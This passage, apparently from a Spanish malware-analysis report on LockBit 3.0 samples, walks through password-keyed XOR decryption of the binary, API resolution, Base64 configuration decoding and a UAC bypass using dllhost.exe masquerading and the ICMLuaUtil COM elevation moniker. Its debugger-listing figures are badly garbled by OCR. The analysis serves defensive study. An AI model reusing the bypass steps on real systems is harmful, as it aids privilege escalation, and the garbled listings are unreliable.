Figura 27. Generacion de contrasefia de 192 bits
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A continuacion, se muestra como se descifran las distintas secciones del binario utilizando
la operacién XOR.

o sup, LEupTang o)
(bl i =]
loc_41B439:
mov dl, [ebptecxt+var_s@]
add dl, bl
mov bl, [ebp+edx+var_s@]
mov dl, [ebp+ebx+var_sa@]
mov dl, [ebp+edx+var_sa]
inc dl
mov al, [ebptedxtvar_sa]
Xor edi], a
mov dl, [ebp+ebx+var_s@]
xchg dl, [ebp+ecx+var_s@]
mov [ebp+ebx+var_s@], dl
inc cl
inc edi
dec esi
test esi, esi
jnz short loc_41B439

bl it

pop ebp
]

Figura 28. Algoritmo de descifrado

EDI @819FCH8 Y% Stack[eae61418]:8619FCEH
EEP @@819FB38 %% Stack[@aealsls]:aa]
ESP @@819FB38 b4 Stack[288281418]:04]
EIF 8841B1C5 % load pass:loc 41B1d
EFL aaaaa24s

Modules
Path

ChUsers\PEPE\Desktophlockbitos\samp

CAWindows\SysWOWEapphelp.dll

EaRl Wi A e Gue WO AL ain 2700 Al
<

Threads

Decimal Hex State
5144 1418 Ready —
= .

Figura 29. Contrasefia de 192 bits generada a partir del token de acceso
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ush eax
cmp eax, /6918875h ; .text
jz short loc 41BGE2

M=
cmp eax, 4441Eh ; .data
jz short loc_41BBE2
i
[l s |
cmp eax, BEE4B49Bh ; ; .pdata
jnz short loc_41B89A

...J.5.|_I

Figura 30. Secciones descifradas del binario

Una vez acabada la rutina de descifrado, esta muestra ejecuta el cédigo alojado en la
seccion “text” utilizando un puntero. En caso de no haber introducido una password
correcta, el programa termina su ejecucion.

e A e —
LLext:ee4a83254

Ltewt:88488254 loc 4885254:

.tewt: 88488254 pusha

text: 88488255 xchi eax, edi

.text: 88488258 les esi, [ebx+edi+32h]
Ltext:@a48825C jle short loc_4882BE
.text:@848825E push sp

Figura 31. Ejecucion de cédigo utilizando un puntero

Las funciones no se cargan hasta que se han descifrado las secciones del binario con la
contrasefa correcta. Esta funcionalidad difiere con la muestra 1.3, en la que las funciones
ya estaban cargadas.
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0041B46F 90 nop EntryPoint
OF1F8400 00000000 nop dword ptr ds:[eax+eax],eax
0041847 s E8 83FBFFFF <'lockau.<h¢cuass> check_pass
OF1F30 00 nop dword ptr ds:[eax],eax
E8 CECDFEFF m 1ocklll.400254
66:90
E8 7703FFFF m‘l lockua.wnM
OF1F4400 00 nop dword ptr ds:[eax+eax],eax
E8 E1DAFFFF call Iockuu.usns
OF1F8400 00000000 nop dword ptr [ 1, eax
6A 00 ush 0
FF15 C0754200 dword ptr ds:[4275C0]

OF1F80 00000000
E8 49F4FFFF

dword ptr ds: [eax],eax

‘Jockaaa. 41A8FC

’
»
’
»
»
»
»
»
’
’
’
»
NE
’
’ E8 26F4FFFF Jockaaa. 41A8DE
’ E8 45F4FFFF lockaaa. 414902
’ E8 22F4FFFF | Jockaaa.41ABE4
' E8 11F4FFFF Jockaaa.41A8D8
’ E8 36F4FFFF Jockaaa. 414902
’ E8 25F4FFFF Jockaaa. 41A8F6
» E8 32F4FFFF Jockaaa. 414908
’ E8 1SF4FFFF | Tockaaa.41A8F0
’ E8 FEF3FFFF Jockaaa. 41A8DE
’ E8 OSF4FFFF Jockaaa.41A8EA
’ E8 12F4FFFF Jockaaa. 41A8FC
vc E8 FBF3FFFF Jockaaa.41A8EA
’ E8 AEF3FFFF Jockaaa. 41A8A2
’ E8 CIF3FFFF Jockaaa.41A8BA
Ok E8 CEF3FFFF Jockaaa. 41A8CC
’ E8 ABF3FFFF Jockaaa. 41A8AE
’ E8 CAF3FFFF Jockaaa. 41A8D2
’ E8 B9F3FFFF Jockaaa. 41A8C6
’ E8 B4F3FFFF Jockaaa. 41A8C6
’ E8 91F3FFFF Jockaaa.41A8A8
’ E8 B6F3FFFF Jockaaa. 41A8A2
’ E8 93F3FFFF Jockaaa. 414884
’ E8 AGF3FFFF Jockaaa. 41A8CC
’ E8 95F3FFFF | Tockaaa.41A8C0
’ E8 6CF3FFFF Jockaaa. 41A89C
» E8 09DFFFFF Jockaaa.41943E
’ E8 ECDEFFFF lockaaa. 419426
’ E8 F3DEFFFF lockaaa. 419432
) E8 F4DEFFFF lockaaa. 419438
’ E8 E3DEFFFF Tockaaa. 41942C
D041B46F 20 op EntryPoint
170 OF1F8400 00000000 nop dword ptr ds: [
78 E8 B3FBFFFF call <‘Iockau check_pass
OF1F40 00 nop dword ptr
E8 CECDFEFF €all Jockaaa. 4052 4
66:90 nop
E8 7703FFFF €a1l Tockaaa. 4ouo4
OF1F4400 00 r -

: [eax+eax],eax
78

E8 E1DAFFFF

OF1F8400 00000000 nop dword pt eax:

6A 00 ush 0

FF15 C0754200 dword ptr [4275¢0]
OF1F80 00000000 ]

dword ptr ds:[eax],eax
1 <IMP.&GetProcAddress>
<IMP. &GetCommandLineA>

E8 49F4FFFF
ES8 26F4FFFF

E8 45F4FFFF <JMP.&GetTickCount>

E8 22F4FFFF <IMP.&GetDateFormatw>

E8 11F4FFFF <JMP.&FOormatMessagew>

E8 36F4FFFF <IMP.&GetTickCount>

E8 25F4FFFF <IMP.&GetModuleHand] ew>

E8 32F4FFFF <IMP,&LoadLibraryExA>

E8 1SF4FFFF <JMP.&GetLocaleInfow>

E8 FEF3FFFF <IMP. &GetCommandL ineA>

E8 OSF4FFFF <IMP.&GetLastError>

E8 12F4FFFF ] <IMP.&GetProcAddress>

E8 FBF3FFFF <IMP.&GetLastError>

E8 AEF3FFFF <JMP. &CreatewindowExw>

E8 C1F3FFFF <IMP.&GetDIgItem>

E8 CEF3FFFF <IMP, &GetMessagew>

E8 ABF3FFFF <JMP.&EndDialog>

E8 CAF3FFFF <JMP. &LoadMenuw>

E8 BOF3FFFF <IMP.&GetKeyNameTextw>

E8 B4F3FFFF <IMP. &GetKeyNameTextw>

E8 91F3FFFF <IMP.&D17alogBoxParamw>

E8 B6F3FFFF <JMP. &CreatewindowExw>

E8 93F3FFFF <IMP.&GetClassNamew>

E8 AGF3FFFF <IMP, &GetMessagew>

E8 95F3FFFF <IMP.&GetDIgItemTextw>

E8 6CF3FFFF <JMP.&CreateDialogParamw>

E8 O9DFFFFF <IMP.&Textoutw>

E8 ECDEFFFF <IMP . &GetTextMetricsw>

E8 F3DEFFFF <IMP.&SetPixel>

E8 F4DEFFFF <JMP.&SetTextColor>
00418544 E8 E3DEFFFF 1 <IMP.&SelectObject>

Figura 32. Resolucién de funciones después del descifrado correcto de la muestra 2

Una vez realizada la rutina de descifrado con la contrasefia introducida como parametro,
se procede a realizar un volcado de la muestra 2 alojada en memoria para observar las
diferencias con la muestra 1.3. Tras realizar un andlisis comparativo del binario, se puede
observar que ambas son muy similares.
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O Matched Functions O & x O statstcs O & x| O primary Unmatched O & x | ¥ secondary Unmatched 08 x

Similarity  Confid Change EA Primary Mame Primary ~|| Mame Value ~|| ea Mame EA Mame

1.00 099 0040104C sub_0040104C flowGraph edges s... 0 00418000 sub_00418000 00414004 _imp_SetLastError

1.00 099 00401000 sub_004010D0 flowGraph edges .. 5612 0041B0AC sub_0DATBOAC 00414008 _imp_LoadLibraryW

1.00 099 00401120 sub_00401120 function matches .. 13 0041B0EC sub_0DATBOEC 0041401C _imp_GetAtomNan

1.00 099 00401140 sub_004011A0 function matches .. 312 00418124 sub_00418124 00414028 _imp_CreateMenu

1.00 099 004011E4 sub_004011E4 functions primary .. 24 0041B1CC sub_0D41B1CC 0041A02C _imp_DefWindowPt

1.00 099 sub_00401284 functions primary ... 321 0041B1E8 sub_0041B1EB 0041A03C _imp_LoadImageW

1.00 099 sub_00401424 functions seconda.. 23 00418243 sub_00418248 00414044 _imp_CreateDIBitm;

1.00 0.99 sub_004017D0 functions secondan. 312 00418204 sub_0D41B2D4 00414058 _imp_GetTextColor

1.00 099 sub_00401954 instruction match... 0 00418264 sub_0D41B2E4 0041A05C _imp_GetTextCharse

1.00 099 sub_00401ABS instruction match,.. 24548 0041C008 _imp_GetTickCount 00414060 _imp_BitBIt

1.00 099 sub_0040754C instructions prima... 0 0041€00C _imp_GetProcAddress

1.00 099 sub_004075AC instructions prima... 26708 0041C014 _imp_GetLocalelnfol

1.00 099 sub_004075F0 instructions secon.. 0 0041C018 _imp_GetCommandLineA

1.00 099 sub_0040784C instructions secon... 24910 0041€030 _imp_GetDlgltem TextW

1.00 099 sub_00407890 basicBlock: MD in... 30 0041€038 —imp_GetMessageW

1.00 099 sub_004078DC basicBlock: call ref... 49 0041C03C _imp_LoadMenuW

1.00 099 sub_00407840 basicBlock: edges .. 1 0041040 _imp_DizlogBoxParamW

1.00 099 sub_004079A8 basicBlock: edges .. 5 0041044 _imp_CreateWindowExW

1.00 099 sub_00407C5C basicBlock: edges .. 224 0041C04C _imp_GetClassNameW

1.00 099 sub_00408254 basicBlock: edges .. 3482 0041C060 __imp_SelectObject

1.00 099 sub_00408408 basicBlock: entry p.. 1

1.00 099 sub_004084DC basicBlock: exit po... 1

1.00 099 sub_0040851C basicBlock: hash... 141

1.00 0.99 sub_00408720 basicBlock: prime ... 37

1.00 099 sub_00408774 basicBlock: propa... 5

1.00 099 sub_00408894 function: MD inde... 3

1.00 099 sub_00408BF4 function: MD inde... 26

1.00 099 sub_00408C9C function: address s... 17

1.00 099 sub_00408D40 function: call refer... 31

1.00 099 sub_00408D98 function: call sequ... 1

1.00 099 sub_00408DFC function: edges ca... 88

1.00 0.99 sub_00409328 function: edges flo... 82

1.00 0.99 sub_0040937C function: hash ma... 34

1.00 099 sub_00409450 function: name ha... 26

1.00 099 sub_00409DD0 function: prime si.. 17

1.00 099 sub_00409F38 Confidence 0990845

1.00 099 sub_0040A450 v || similarity 0572719 v

< > < > < > < >
] Line 1 of 47

Figura 33. Analisis comparativo entre la muestra 1.3 y muestra 2

A continuacion, podemos observar como comienza a volcar datos dentro de la seccién
“.data”, accediendo a una parte con datos cifrados, descifrandolos mediante el uso de la
funcién XOR para finalmente volcarlos en una seccion “.data” vacia.

Lo que realmente esta realizando es la resolucién de las API de determinadas DLL. El
malware utiliza un pequefio bloque de cddigo, “stub”, como trampolin para llegar finalmente
a la direccion de memoria de cada funcién. En la siguiente imagen puede observarse como
se realiza este proceso con la funcién “ntdll.RtIDestroyHeap”, la cual se almacena con la
instruccién “stosd”.

Debug View B @A Structures xRNl Enums Ix]
O 8 x 3B General registers

= eax, BCCCCCCCCh EAXOCABBBE % debugB24:BBCAREEE
short loc_18AsDCS EBX 77629D8E 4 ntd1132.d11:ntdll_RtlDestroyHeap

ECKABABABAB
EDX8OCABEB3 % debugB24:BBCAREE3

FEE] EST@10ASEEC 4 .text:dword_1OASEEGHC
EDI@18C5410 & .data:218C5418

Ure SEievese EBP @834FAA4 L debugBdn:en3arAsd

;‘:;h ol ee39rreh ESP@O34FA9E & debugBo:0834FAIE

e £1P @10ASDEF & sub_1BASDI3+57

mov ebx, eax EFL 08000246

push  1@h

push @

push  [ebptarg 8]

call  [ebptarg C]

mov  ecx, 882A5345Dh

xor  ecx, 19939FFeh

cmp [eax+10h], ecx

jnz short loc_10ASDF@

W= e
stosd Decimal  Hex State
loc_1@ASEDS: 5948  173C  Ready
pop  edi
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push packed_fixed.ADSEED
ﬂUSh packed_f1ixed.AF5408

<packed_fixed.X0OR_Decrypts Hex Hex
push edi B8 EO SE AD|00 68 D8 54|AF 00 EB SC|F9 FF FF 57|00 00 00 D0]00 00 00 00|00 00 00 00|00 00 00 00
push es-l' 56 68 DO 5F|AD 00D 68 F4(54 AF 00 E8(8B F9 FF FF| OO0 00 00 0O|00 00 00 00|00 00 00 OO(0QO0 OO OO 00
h ked Tixed.ADSEDO 57 56 68 C4[60 AD 00 68|E4 55 AF 00|E8 7A F9 FF|00 00 00 00|00 00 00 00|00 00 00 00|00 00 0O 00
push packed_Tixed.. FF 57 56 68|63 6L AD 00|68 84 56 AF|00 E8 69 F3|00 00 00 00[00 00 00 00|00 00 0D 00|00 00 0O 0O
ush packed_fixed.AF54F4 FF FF 57 56(68 7C 61 AD|00 68 94 56|AF 00 E8 58|00 00 00 00|00 00 0O 00|00 00 0O 00|00 00 00 00
<packed_f1ixed.XOR_Decrypt> F9 FF FF 57|56 68 B8 61|AD 00 68 CC|56 AF 00 E8|00 00 00 0O0[00 00 00 00|00 00 00 00|00 00 00 00
push edi 47 F9 FF FF[57 56 68 10|62 AD 00 68|20 57 AF 00|00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00
push esi E8 36 F9 FF|FF 57 56 68(28 €2 AD 00(68 34 57 AF|00 00 00 00|00 00 00 00|00 00 00 OO(00 00 OO OO0
ush packed_fixed.ADGOCH 00 E8 25 F9|FF FF 57 56(68 54 62 AD|00 68 5C 57|00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00
p P = N AF 00 E8 14|F9 FF FF 57 (56 68 90 62(AD 00 68 94|00 00 00 00|00 00 00 00|00 00 00 QO(00 0O OO 0O
ﬂusn packed_fixed.AFSSE4 57 AF 00 E8|03 F9 FF FF|57 56 68 A8(62 AD 00 68|00 00 00 00|00 00 00 00[00 DO 0O 00|00 00 00 00
<packed_fixed.XOR_Decrypt> A8 57 AF Q0|ES F2 F8 FF|FF 57 56 68|B4 62 AD 00|00 00 00 00|00 00 00 00|00 0O 00 DO|0O 00 0O 0O
push edi 68 BO 57 AF|00 E8 E1 FB|FF FF 57 56|68 CC 62 AD| 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00
push es'i 00 68 C4 57|AF 00 E8 DO(F8 FF FF 57|56 &8 FC &2|00 00 00 00|00 00 00 00|00 00 00 QO(00 00 OO 00
ush packed fixed. ADG1ES AD 00 68 FO|57 AF 00 EB|BF F8 FF FF|57 56 68 18|00 00 00 00[00 00 00 00|00 0O 00 00|00 00 0O 00
B B . —_ . - 63 AD 00 63|08 58 AF E8 AE F8 FF|FF 57 56 63|00 00 00 OO(00 00 00 00|00 00 00 OO|0D0 0O OO 00
ush packed_fixed.AFs684 48 63 AD 00|68 34 58 AF|00 E8 90 F8|FF FF 57 56|00 00 00 00|00 00 00 00|00 DO 00 00|00 00 0O 00
<packed_fixed.X0OR_Decrypt> 68 5C 63 AD|00 68 44 58|AF 0D E8 8C|F& FF FF 57|00 00 00 00[00 00 00 00|00 0O 0D 00|00 00 DO 0O
push edi 56 68 6C 63[AD 00 68 50|58 AF 00 E8|7B F8 FF FF|00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00
push esi 57 56 68 84|63 AD 00 68(g4 S8 AF Q0(E8 6A F8 FF| 00 00 00 00|00 00 00 00|00 00 00 QO(00 00 OO0 00

FF 6A 00 EB(FF 4E 00 00|57 56 EB FC|1l 01 00 E8| 00 00 00 00|00 00 00 00|00 00 00 OO|00 00 OO OO

" 5 -
puSh Oa(l-.e(l_fﬂte(l.ADGL-( 1F 4F 00 OO(5F S5E C3 55|8B EC 83 C4(F8 53 56 33|00 00 00 00|00 0O OO 00|00 00 OO OO|00 0O OO 0O

%h packed_fixed.AFS694 CO 89 45 FC|89 45 F8 64|00 FF 75 08|E8 €2 03 00|00 00 00 00[00 00 OO0 00|00 00 00 00|00 00 00 0O
<packed_fixed. XOR_Decrypt> 00 89 45 FC|83 70 FC 00|75 05 E9 89|00 00 00 6A|00 00 00 00|00 00 00 00[00 00 0D DO|00 00 DO 0O
push edi 00 FF 75 0O8|E8 AA 03 00|00 89 45 F8(83 70 F8 00|00 00 00 00|00 00 00 00[00 0O 0O 00|00 00 00 00
push esi 75 02 EB 74|BB 1A 0D 00|00 66 66 OF [1F 84 00 00|00 00 00 00|00 00 0O 00|00 DO 0O 00|00 0O 0O 00
push packed_fixed.ADG1ES 00 00 00 BE|41 00 0D 00|66 66 OF 1F|84 0O 00 00|00 00 00 00|00 00 00 00(00 DO 0O 00|00 00 00 00
h ked_Fixed. AF 00 00 6A 5C|FF 75 F8 FF|15 4C 54 AF|00 83 C4 08|00 00 00 00|00 00 00 00[00 0O 00 00|00 00 0O 00

ush packed_fixed.AF56CC OF 1F 00 B3|CO 02 OF 1F|40 00 66 B9|30 OF 1F 00|00 00 00 00|00 00D 0O 00|00 0O 00 00|00 00 0O 0O
<packed_fixed.X0R_Decrypt> 83 CO 02 66|0F 1F 44 00|00 66 83 38|00 75 E7 6A|00 00 00 00[00 00 00 00|00 00 00 DO|00 00 DO 0O

push edi 08 FF 75 F8|FF 75 FC FF|15 10 55 AF|0D0 85 CO 75|00 00 00 00|00 00 00 00[00 0O 0O DO|00 00 0O 00
push esi 02 EB 15 FF|75 F8 FF 75|FC FF 15 40(54 AF 00 83|00 00 00 00|00 00 00 00[00 00 00 00|00 00 DO 00
push packed_fixed.AD6210 C4 08 46 4B|85 DB 75 AA[8B 45 OC BB|4D FC 89 0800 00 00 00[00 00 0O 00|00 00 00 DO|00 00 DO 0O
h ked Fixed. AFS720 83 7D F8 00|74 08 FF 75|F8 E8 4D 02|00 00 5E 58|00 00 00 00|00 00 0O 00|00 DO 0O 00|00 00 0O 00
%pace—‘i‘e o T BB EE 5D C2|08 00 90 55|8B EC 53 56|57 8B 45 OC|00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00
<packed_fixed. XOR_Decrypts 89 08 00 00|00 33 D2 F7|F1 8B DB BB|Fz 88 7D 08|00 00 00 00|00 0O 0O 00|00 OO 0O 0DO|0O0 0O DO OO

push edi E8 7E AA FF|FF AB 8B C2|AB 4B 85 DB|75 F2 85 F6|00 00 00 00|00 00 00 00[00 DO 0O 00|00 00 00 00
push esi 74 OB E8 6C|AA FF FF AA|4E 85 F6 75|F5 5F SE 5B|00 00 00 00|00 00 00 00[00 0O 00 00|00 00 00 00
push packed_fixed.AD6228 5D €2 08 00|8D 40 0D 55(8B EC 83 C4|CC 53 56 57|00 00 00 00|00 00 00 0O0[00 0O 0O DO|0O 00 0O 00
h ked Fixed. AFS734 33 CO 89 45|FC 89 45 D8|33 DB 8D 7D|CC AB 43 83|00 00 00 00|00 00 00 00[00 00 00 00|00 00 DO 0O

] FelIs e A b A FB 03 75 F9|48 89 45 F8|8D 45 DC 50|FF 75 08 E8|00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00
<packed_fixed.XOR_Decrypt> 03 3A 00 00|83 7D DC 00|75 DA 83 7D|EO 00 OF 84|00 00 00 00|00 0O 0O 00|00 00 OO 00|00 00 DO 0O

push edi 25 01 00 00|6A 0D 68 00|00 DO 80 6A[D3 6A 00 GA|OO 00 0D 00|00 0O 00 00[00 DO 0O DO|0O 00 00 00
push esi 03 63 00 00|00 40 FF 75|08 FF 15 20(55 AF 00 89|00 00 00 00|00 00 00 00(00 00 0O 00|00 00 0O 00
push packed_fixed.AD6254 45 F8 83 7D|F8 FF OF 84|FD 00 00 00(33 DB 8D 7D|00 00 00 00|00 00 00 00[00 D0 0O 00|00 00 00 00
ush packed fixed. AFE7EC €C €7 45 EC|00 00 01 00(C7 45 FO 00|00 00 00 6A|00 00 00 0O[00 00 0O 00|00 0O 00 DO|00 00 0O 0O
hp ik Had T, 04 68 00 10|00 00 8D 45|EC 50 6A 00(8D 45 FO 50|00 00 00 00|00 00 00 0O0[00 0O 0O 0O|0O 00 0O 00
<packed_fixed.XOR_Decrypt> GA FF FF 15|EQ 54 AF 00(85 CO 75 06|88 45 FO AB| 00 00 00 00|00 00 00 00|00 00 00 00|00 00 DO 0O

push edi EB 02 EB 2E|83 FB OL 75|11 57 83 C8(FF B9 00 40|00 00 00 00|00 00 00 00[00 DO 0O 00|00 00 0O 00
push esi 00 00 8B 7F|FC F3 AB 5F|EB 12 83 FB|D2 75 0D 68|00 00 00 00|00 00 00 00|00 0O 0O 00|00 00 0O 00

Figura 34. Descifrado de datos utilizando XOR

Posteriormente, el malware utiliza la funcion “memcpy” para construir varias cadenas en
Base64.

push 80

push edi

ush packed_fixed.AF4F70
h dword ptr ds:[<memcpy>]
add esp,C

lea edi,dword ptr ds:[edi+30]
push 20

lea eax,dword ptr ds:[edi]
push eax

ush packed_fixed.AF5100
h dword ptr ds: [<memcpy:=]
add esp,C

ush 18

ea eax,dword ptr ds:[edi+z20]
push eax

ush packed_fixed.AF5120
h dword ptr cs: [<memcpy=]
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OODFE718( 4C 53 45 4B|41 38 32 42|38 6F 7A 31(65 48 41 GD LSEKASZBSOZ 1eHAM

QODFE728 NX50JtdsQuNYac7G
OODFE738| 7 POHYPSAT DUE4CBTS
OODFE748 3bjK2ES0ADAVZQIr
OODFE7SS TONLLg60AATUIUTM
QODFE7 65 NXMwWB3X5Zmuso0q3
OODFE778 TOZMUSTYGBL7OT5C
OODFE7 88 O2Iiurmsous

OODFE798 «FarMhps JBzmwr gz
OODFE7AS wvqvI/FKiO0OIATGU
OODFE7BS ENLmMX2 /WmOsL kveq
QODFETCS FNariy9H3z sgAAsL
OODFE7DS AL ALEGWZWAZ SMWAGOD
OODFETES JFQBigx0AacMdaGE
OODFETFS DIGBsgycAbaMkAHG
QODFE 808 DIQB2QyT 7L /KHxIL
OODFES18 pKMZb1 SNGX4mQAG2
OODFESZ8 DL gBywywASKMOAGAS
OODFES38 DTwBhglyCrnsnaGH
OODFES45 JVWE 1Y LQAZWNUAGT
OODFESS S8 DhgBTY2Z8AbINOAHA
OODFES6S JdwBwYScAcCgNz btz
OODFES7S TKwBYO3QAbmNE3em
OODFESSS PHMWE J A4 YACMOPAHT
OODFES98 JhwBToswadgofAG)
OODFE 8AS DpABQYS&QACYOTAHD
OODFESES pepsuzZ PFFQ8AHM
QODFESCS Dxwhhe$UAZ wNkAHG
OODFESDS J'I'\NE)(I5QAZEOMAAA.
OODFESES . CWEXAGWAAABWA
OODFESFS HIAYQEJAGMAZQAAA
OODFE 208 GEAYWEZ AHMAZ A88A
OODFE918 GOAY gBZ AG4ALQBWA
OODFES28 AAACWES AGAAYWEOA
OODFE938 GlkAbQB1 AAAAYQBNA
OODFE245 GAADABZ AHYAYWARA
OODFE9S58 GRACWBXAGWACABSA
OODFES68 HUACWEZ AHYAYWAAA
OODFES78 HOAZ gBz AHMAdgE ] A
OODFE285 GMABWELAAAABOES A
OODFE998 GOQAZQBZ AGSAdABWA
OODFE9AS HAACWE1AHIAdgBpA
OODFE9BS GMAZQAAAGEAYWE A
OODFESCS HUADABVAHUACABKA
OODFESDS HMAAABT AGAAYWBZ A
OODFESES HYAYWAAAGYAaQBYA
OODFESFS GUAZ gBvAHgAAABOA
QODFEAQS GLAAQBYAGOAYWEWA
OODFEALlS GA4AZ QBPAGCAAABTA
OODFEAZS HKAZ ARTAHMAaWBOA
OODFEA3S GBACABXAGBACWAAA

Figura 35. Decodificacion de Base64

Segun se puede observar en el informe de Nozomi Networks [5], LockBit 3.0 utiliza Base64
para codificar la configuracion del ransomware. Los detalles de la configuracion se
encuentran en el apartado 4.6.

Posteriormente, el malware procede a realizar una escalada de privilegios. En primer lugar,
comprueba si el proceso tiene permisos de administrador de la siguiente forma:

m Utilizando “OpenProcessToken”: consulta el token del proceso actual.

11 dword ptr df'[<DpenPrucessTuken>]

mov eax,dword ptr Lebp+s)
mov dword ptr s5s: [ehp &), eax
Xor eax,eax
test eax,eax

ne packed_f1ixed.ADBS9A

ea eax,dword ptr ss:febp-cl)
push eax
push 4
lea eax,dword ptr ss:[ebp-10]
push eax

push 2
push dword ptr ss:ffebp-8
C&NT dword ptr df'E<Quer InformationTokens)
push dword ptr ss:ffebp-c
call packed_fixed,AD6830

Figura 36. Consulta del token del proceso actual

® Mediante “CheckTokenMembership”: comprueba si el token de su proceso es
miembro del grupo de administradores.

<NtCheckTokenMemberships

= .
mov eax,dword ptr ss:febp+a]
mov dward ptr ssilfebp-of, eax
Xor eax,eax

tutcancm

[rP— -4 Eiiiad ammema

Figura 37. Comprobacién del token en el grupo de administradores

Si tras la comprobacion el malware determina que el proceso no tiene privilegios, este
realiza un UAC bypass [6] de la siguiente forma:
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1. Utilizando “LdrEnumerateLoadedModules”, registra "dllhost.exe" en System32
como ImagePathName y CommandLine en el PEB del proceso. De esta forma,
podra alojar y ejecutar objetos COM como “dllhost.exe”.

lea Eax:dword Etr ds:tesiran Tl
push dword ptr ds: [AFS86C] O0AFSB6CI&L"C:Y
ush eax eax:"j\fh"

€all dword ptr ds: [AF5488)]
lea eax,dword ptr ds:[esi+40] eax:"jyfh", esi+40:L"BD"

push dword ptr ds: [AFS870] DOAFS870: &L " "C i\ \Windows'\System32\\d11host. exe)\""
push eax eax: "j\fh"

€an dword ptr d;:[AFSdaai

L =

\Windows'\System32'\d11host, exe"

push dword ptr ds: [ebx+1C
€&1 dword ptr ds: [AF54B0
push ebx

push packed_fixed.ADB778
push 0
€&l dword ptr ds:[<LdrEnumerateLoadedMi

Figura 38. Registro de “dllhost.exe” en el sistema

2. Acontinuacion, descifra un identificador de seguridad de usuario (SID) que coincida
con el grupo de administradores para crear un objeto COM que permita eludir el
UAC.

mov dword ptr ds:[eax],E630604C eax:L"Elevation: Administrator !new: {3ESFC7F9-9A51-4367-9063-A120244FBECT}"
mov dword ptr ds:[eax+4] ,EG8AG06EC eax+4:L"evation: Administrator Inew: {3ESFC7F9-9A51-4367=9063-A120244FBECT } "
mov dword ptr ds:[eax+8] ,EG386068 eax+8:L"ation: Administrator !new: {3ESFC7F9-9A51-4367-9063-A120244FBECT}"
mov dword ptr ds: [eax+C],E6936060 eax+C:L"ion: Administrator!new: {3E5FCTF9-9A51-4367-9063-A120244FBECT}"
mov dword ptr ds:[eax+10],EGCE6067 eax+10:L"n:Administrator !new: {3ESFCTF9-9A51-4367-9063-A120244FBECT}"
mov dword ptr ds: [eax+14),E6986048 eax+l4:L"Administrator Inew: {3ESFCTF9-9A51-4367-9063-A120244FBECT}"

mov dword ptr ds:[eax+18],E63560564 eax+18:L"ministrator !new: {3ESFC7F9-9A51-4367-9063-A120244FBECT }"

mov dword ptr ds:[eax+1C),E6956067 eax+lC:iL"nistrator!new: {3ES5FCTF9-9A51-4367 -9063-A120244FBECT}"

mov dword ptr ds:[eax+20],EG38607A eax+20:L"strator Inew: {3ESFCTF9-9A51-4367-9063-A120244FBECT }"

mov dword ptr ds: [eax+24),E69D607B eax+24:L"rator Inew: {3ESFCTF9-9A51-4367-9063-A120244FBECT}"

mov dword ptr ds:[eax+28],EE93607D eax+28:L"tor 'new: {3ESFCTF9-9A51-4367-9063-A120244FBECF}"

mov dword ptr ds: [eax+2C),EGDDGOTE eax+2C:L"r Inew: {3E5FC7F9-9A5 1-4367-9063-A120244FBECT}"

mov dword ptr ds:[eax+30],EE996067 eax+30:L"new: {3ESFCTF9-9A51-4367-9063-A120244FBECT }"

mov dword ptr ds: [eax+34),EGCE607E eax+34:L"wi {3ESFCTF9-9A51-4367-9063-A120244FBECT "

mov dword ptr ds:[eax+38],EGCFG072 eax+38:L"{3ESFCTF9-9A51-4367-9063-A120244FBECT}"

mov dword ptr ds:[eax+3C),E6CIG04C eax+3C:L"ESFC7F9-9A51-4367-2063-A120244FBECT} 1"

mov dword ptr ds:[eax+40],EGBFGO4F 2ax+40: L "FC7F9-9A51-4367-9063-A120244FBECT } 1"

mov dword ptr ds:[eax+44],E6BAGO3E eax+44:L"7F9-9A51-4367-9063-A120244FBECT}}"

mov dword ptr ds:[eax+48],EGD16030 2ax+458:L"9-9A51-4367-9063-A120244FBECT}}"

mov dword ptr ds:[eax+4C),EGBD6030 eax+4C:L"9A51-4367-9063-AL20244FBECT}]"

mov dword ptr ds:[eax+50],E6GCDE03C 2ax+50:L"51-4367-9063-A120244FBECT 1"

mov dword ptr ds:[eax+54),E6C86024 eaxt54:L"-4367-9063-A120244FBECT}}"

mov dword ptr ds:[eax+58],EGCAGO3A eax+58:L -9063-A120244FBECT } 1}

mov dword ptr ds:[eax+5C],EGDLG03E eax+5C:L"7-9063-A120244FBECT}}"

mov dword ptr ds:[eax+60],E6GCCE030 eax+60:L"9063-A120244FBECT}}"

mov dword ptr ds:[eax+64] ,E6CFE03F eax+64:L"63-A120244FBECT}}"

mov dword ptr ds:[eax+68],E6GBD6024 eaxt+es: AlZ0244FBECT}}"
mov dword ptr ds:[eax+6C),EECEGD3S eax+6 20244FBECT}}"
mov dword ptr ds:[eax+70],E6CEGD39 eax+7y 244FBECT}}

mov dword ptr ds:[eax+74],EGCBE03D eax+7 44FBECT}}"

mov dword ptr ds:[eax+78],EGBEGO4F eax+7s FBEC7}}

mov dword ptr ds:[eax+7C],EGBF&E04C eax+7C:L"EC7}}"

mov dword ptr ds:[eax+80],E681603E eax+80:L"7}}
mov dword ptr ds:[eax+84],EGFCE009

Figura 39. Creacion del objeto COM

3. Posteriormente, construye una linea de comandos y, gracias a la interfaz del objeto
COM: “ICMLuaUtil”, el malware consigue relanzarse bajo el proceso “dllhost.exe”
creado con privilegios de administracion.

Tea eax,dword ptr ss:lfebp-4]
push eax

push esi esi:L"\VC:i\N\uUsersi\handresh\Desktophypacked_fixed. exehy™""
€all dword ptr ds: [<CommandLineToArgsw:s-

Figura 40. Relanzamiento del proceso bajo “dllhost.exe”

4. Finalmente, el proceso actual termina su ejecucion dando paso al proceso elevado.

push 0
push FFFFFFFF
€d11 dword ptr ds:[<ZwTerminateProcess>
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L= RSN IUDEDIT VRS 1%
[°] SettingSyncHost.... 2:
[ smartscreen.exe N
[ dilhost.exe 1,
[#7] RuntimeBroker.exe 3¢

~ [ 17| dilhost.exe 2:
) lockbit.exe 18,66 106,57 M.. 1

[0 svchost.exe 0,15 a:
v [1] svchost.exe 0,15 1464 kB/s 126!
[#7] sihost.exe 6,¢
[#%] taskhostw.exe 6,¢
(8 taskhostw.exe | 3

Figura 41. Ejecucion de proceso elevado

La ejecucion del proceso con privilegios es idéntica hasta llegar a la funcidn
“CheckTokenMembership”. En este caso, puesto que tiene privilegios de administrador, el
malware continda su ejecucion a diferencia de su homonimo sin privilegios, que intentaria
la escalada de privilegios.

